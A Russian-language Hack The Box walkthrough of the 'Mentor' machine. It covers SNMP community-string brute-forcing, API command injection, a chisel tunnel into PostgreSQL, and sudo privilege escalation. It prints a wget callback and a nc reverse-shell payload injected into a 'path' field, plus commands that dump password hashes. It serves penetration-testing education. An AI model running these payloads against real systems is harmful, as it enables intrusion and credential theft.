Хакер - HTB Mentor. Извлекаем информацию из SNMP и пентестим API веб-сервиса

Хакер - HTB Mentor. Извлекаем информацию из SNMP и пентестим API веб-сервиса

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Сканирование SNMP
  • Сканирование веб-сервера
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий
  • Пользователь james
  • Пользователь root

В этом рай­тапе я покажу, как работать со служ­бой SNMP, что­бы получить информа­цию, которая поможет в прод­вижении ата­ки. Так­же мы взло­маем сайт и получим RCE бла­года­ря уяз­вимос­ти в API.

На­ша цель — зах­ват учеб­ной машины Mentor с пло­щад­ки Hack The Box. Уро­вень слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.193 mentor.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Apache 2.4.52. На пор­те 80 так­же отме­чаем редирект на сайт http://mentorquotes.htb/. Так как мы рас­кры­ли новый домен, добав­ляем и его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb

Так­же всег­да сто­ит про­верять четыре пор­та UDP, где может работать служ­ба SNMP.

sudo nmap -p161,162,10161,10162 -sU 10.10.11.193

Ре­зуль­тат ска­ниро­вания пор­тов UDP

И мы видим, что SNMP работа­ет на пор­те 161. SNMP — это про­токол прик­ладно­го уров­ня, он дела­ет воз­можным обмен дан­ными меж­ду сетевы­ми устрой­ства­ми. Про­токол поз­воля­ет сис­темно­му адми­нис­тра­тору про­водить монито­ринг, кон­тро­лиро­вать про­изво­дитель­ность сети и изме­нять кон­фигура­цию под­клю­чен­ных устрой­ств.

В SNMP исполь­зует­ся модель безопас­ности сommunity-based (на осно­ве стро­ки сооб­щес­тва). Фак­тичес­ки это иден­тифика­тор поль­зовате­ля или пароль, который отправ­ляет­ся вмес­те с зап­росом. Если стро­ка сооб­щес­тва невер­на, агент игно­риру­ет зап­рос. Давай поп­робу­ем проб­рутить эти community-стро­ки ска­нером onesixtyone.

onesixtyone -c snmp_default_pass.txt 10.10.11.193

Ре­зуль­тат перебо­ра community-строк

Наш­ли толь­ко дефол­тную стро­ку public, ничего полез­ного она нам не дала.

ТОЧКА ВХОДА

Сканирование SNMP

У меня бывали слу­чаи, ког­да популяр­ные средс­тва ска­ниро­вания комь­юни­ти‑строк ничего не находи­ли, а стро­ки все же сущес­тво­вали. По этой при­чине сле­дующим скрип­том про­буем зап­росить базовую информа­цию с помощью snmpbulkwalk по каж­дой стро­ке из сло­варя. В ито­ге рас­кры­ваем еще одну комь­юни­ти‑стро­ку internal.

while read line; do

echo $line ; snmpbulkwalk -c $line -v2c 10.10.11.193 . 2>/dev/null | head -n 1

done < /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Ре­зуль­тат выпол­нения скрип­та

Го­воря о SNMP, сто­ит упо­мянуть MIB. MIB — это иерар­хичес­кая база дан­ных со све­дени­ями об устрой­стве. У каж­дого типа устрой­ства своя MIB-таб­лица: у прин­тера в ней содер­жится информа­ция о сос­тоянии кар­трид­жей, а у ком­мутато­ра — дан­ные о тра­фике. Бла­года­ря MIB сетевой менед­жер зна­ет, какую информа­цию он может зап­росить у аген­та устрой­ства.

Каж­дый объ­ект в MIB име­ет свой уни­каль­ный ID — OID, который пред­став­лен в чис­ловом фор­мате и име­ет иерар­хичес­кую струк­туру. OID — это чис­ловой экви­валент пути к фай­лу. Он прис­ваивает зна­чения каж­дой таб­лице в MIB, каж­дому стол­бцу в таб­лице и каж­дому зна­чению в стол­бце.

Так, по OID 1.3.6.1.2.1.25.4.2.1.2 мы можем зап­росить про­цес­сы на сетевом устрой­стве.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.2

Про­цес­сы на уда­лен­ном хос­те

Ви­дим, что запуще­ны скрип­ты login.sh и login.py, а так­же про­цесс docker-proxy. У каж­дого про­цес­са есть так называ­емая cmdline — пол­ная коман­да со все­ми парамет­рами, которая переда­ется исполня­емой коман­дной обо­лоч­ке. Зап­росить их мож­но по OID 1.3.6.1.2.1.25.4.2.1.5.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.5

Пол­ные коман­ды про­цес­сов, запущен­ных на хос­те

В резуль­тате получа­ем какую‑то инте­рес­ную стро­ку, переда­ваемую про­цес­су login.py. Воз­можно, это пароль. Перехо­дим к сер­веру. 

Сканирование веб-сервера

На сер­вере рас­положен сайт‑визит­ка, ничего инте­рес­ного най­ти не получи­лось.

Глав­ная стра­ница сай­та

Так как мы зна­ем реаль­ный домен, поп­робу­ем най­ти дру­гие сай­ты, для чего будем ска­ниро­вать под­домены. Для это­го я исполь­зую лег­ковес­ную ути­литу ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -H — заголо­вок HTTP.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

Ко­ман­да получа­ется сле­дующая:

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.mentorquotes.htb'

Ре­зуль­тат ска­ниро­вания под­катало­гов с помощью ffuf

В резуль­тат ска­ниро­вания попада­ют все вари­анты из спис­ка, поэто­му нуж­но исполь­зовать филь­тры (я филь­тро­вал по коду отве­та):

  • -fc — исклю­чить из вывода код отве­та;
  • -mc — выводить отве­ты, кро­ме тех, что в парамет­ре fc.

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all

Ре­зуль­тат ска­ниро­вания под­катало­гов с помощью ffuf

И находим новый сайт на под­домене api. Добав­ляем его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb api.mentorquotes.htb

Глав­ная стра­ница api.mentorquotes.htb

Те­перь прос­каниру­ем конеч­ные точ­ки API. Исполь­зуем все тот же ffuf.

ffuf -u http://api.mentorquotes.htb/FUZZ -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Из получен­ного спис­ка точек дос­тупны толь­ко /docs и /redoc.

Стра­ница /docs
Стра­ница /redoc

На стра­нице видим поч­товый адрес поль­зовате­ля james.

ТОЧКА ОПОРЫ

Поп­робу­ем получить токен дос­тупа, авто­ризо­вав­шись с най­ден­ными поч­товым адре­сом и паролем.

{

"email": "james@mentorquotes.htb",

"username": "james",

"password": "kj23sadkj123as0-d213"

}

Ав­ториза­ция в API (зап­рос)
От­вет сер­вера

По­лучив токен, перехо­дим к Burp Repeater и выпол­няем зап­рос к стра­нице адми­нис­тра­тора.

Зап­рос на стра­ницу /admin

Рас­кры­ваем еще две конеч­ные точ­ки: /check и /backup. Но обра­щение к пер­вой не дает резуль­татов, а для вто­рой нуж­но изме­нить метод зап­роса с GET на POST.

Зап­рос к API /admin/check
Зап­рос к API /admin/backup

Что­бы лег­ко поменять метод зап­роса, в Burp дос­таточ­но выз­вать кон­текс­тное меню и выб­рать пункт Change Request Method.

POST-зап­рос к /admin/backup

В отве­те получа­ем новую навод­ку: необ­ходимо ука­зать парамет­ры. Один параметр body берем из тек­ста, это­го ока­зыва­ется недос­таточ­но. Так как обра­щаем­ся к API backup, ука­жем параметр path.

{

"body":"test",

"path":"/etc/hosts"

}

Зап­рос к /admin/backup

Нам отве­чают толь­ко, успешно или нет завер­шилась опе­рация. Высока веро­ятность, что путь к фай­лу переда­ется в коман­ду тер­минала, поэто­му необ­ходимо про­верить наличие инъ­екции коман­ды ОС. В качес­тве маяка будем исполь­зовать зап­рос на собс­твен­ный сер­вер, для это­го и откры­ваем лис­тенер nc -nlpv 80.

Я переп­робовал нес­коль­ко наг­рузок, и в резуль­тате уда­лось най­ти вер­ную. Заод­но выяс­нилось, что на сер­вере отсутс­тву­ет прог­рамма curl. Так что если ты исполь­зуешь наг­рузки толь­ко с curl, то сто­ит сде­лать подоб­ные для wget и Python.

{

"body":"test",

"path":"/etc/hosts;wget http://10.10.14.11/test_rce"

}

Зап­рос на сер­вер
Ло­ги лис­тенера

Так как при­сутс­тву­ет RCE, кида­ем реверс‑шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >/tmp/f;.

{

"body":"test",

"path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >/tmp/f;"

}

Зап­рос на сер­вер
По­луче­ние сес­сии

ПРОДВИЖЕНИЕ

По­пада­ем в кон­тей­нер Docker, где и работа­ет уяз­вимое при­ложе­ние. При­ложе­ние исполь­зует базу дан­ных, и мы можем получить учет­ные дан­ные для под­клю­чения к ней, а в ней най­дем логины и хеши паролей поль­зовате­лей. Пароль от базы находим в фай­ле db.py.

Со­дер­жимое фай­ла db.py

Те­перь мы можем авто­ризо­вать­ся в СУБД, но, что­бы получить дос­туп к пор­ту PostgreSQL, нуж­но пос­тро­ить тун­нель. Для это­го будем исполь­зовать chisel. На локаль­ном хос­те запус­тим сер­вер, который будет ждать под­клю­чения (параметр --reverse) на порт 8000 (параметр -p).

chisel.bin server -p 8000 --reverse

Ло­ги chisel server

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а затем цепоч­ку прок­сирова­ния: порт 5432 локаль­ного хос­та на порт 5432 хос­та 172.22.0.1.

chisel.bin client 10.10.14.11:8000 R:5432:172.22.0.1:5432

Ло­ги chisel client

В логах сер­вера дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Соз­данная сес­сия chisel

А теперь под­клю­чаем­ся к СУБД PostgreSQL и получа­ем сущес­тву­ющие в базе таб­лицы.

psql -h 127.0.0.1 -U postgres -d mentorquotes_db

/d

Таб­лицы

Таб­лица users, веро­ятно, содер­жит учет­ные дан­ные, поэто­му получим из нее все записи.

select * from users;

Дан­ные из таб­лицы users

По­луча­ем хеши двух паролей, один из которых мы уже зна­ем, поэто­му вто­рой про­веря­ем по он­лай­новой базе.

Ре­зуль­тат взло­ма пароля

С получен­ными име­нем поль­зовате­ля и паролем авто­ризу­емся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пользователь james

Те­перь нам необ­ходимо соб­рать информа­цию. Я для это­го исполь­зую скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, поэто­му отбе­рем толь­ко зна­чимую.

Сре­ди активных поль­зовате­лей с коман­дной обо­лоч­кой отме­чаем поль­зовате­ля james.

Поль­зовате­ли с кон­солью

На­ходим дос­тупный для чте­ния файл кон­фигура­ции SNMP /etc/snmp/snmpd.conf.

Ана­лиз SNMP-фай­лов

Кон­фиг может содер­жать пароли и сек­ретные стро­ки, этот не ока­зал­ся исклю­чени­ем.

Со­дер­жимое фай­ла /etc/snmp/snmpd.conf

Про­буем исполь­зовать най­ден­ный пароль для поль­зовате­ля james и ста­новим­ся на шаг бли­же к зах­вату машины.

Сес­сия поль­зовате­ля james

Пользователь root

Раз­ведку на хос­те уже про­води­ли, мало что может изме­нить­ся со сме­ной кон­тек­ста. Но одно из мест, которые все же сто­ит про­верить, — нас­трой­ки sudoers.

sudo -l

Нас­трой­ки sudo

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Та­ким обра­зом мы можем без вво­да пароля получить при­виле­гиро­ван­ную обо­лоч­ку /bin/sh.

sudo /bin/sh

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page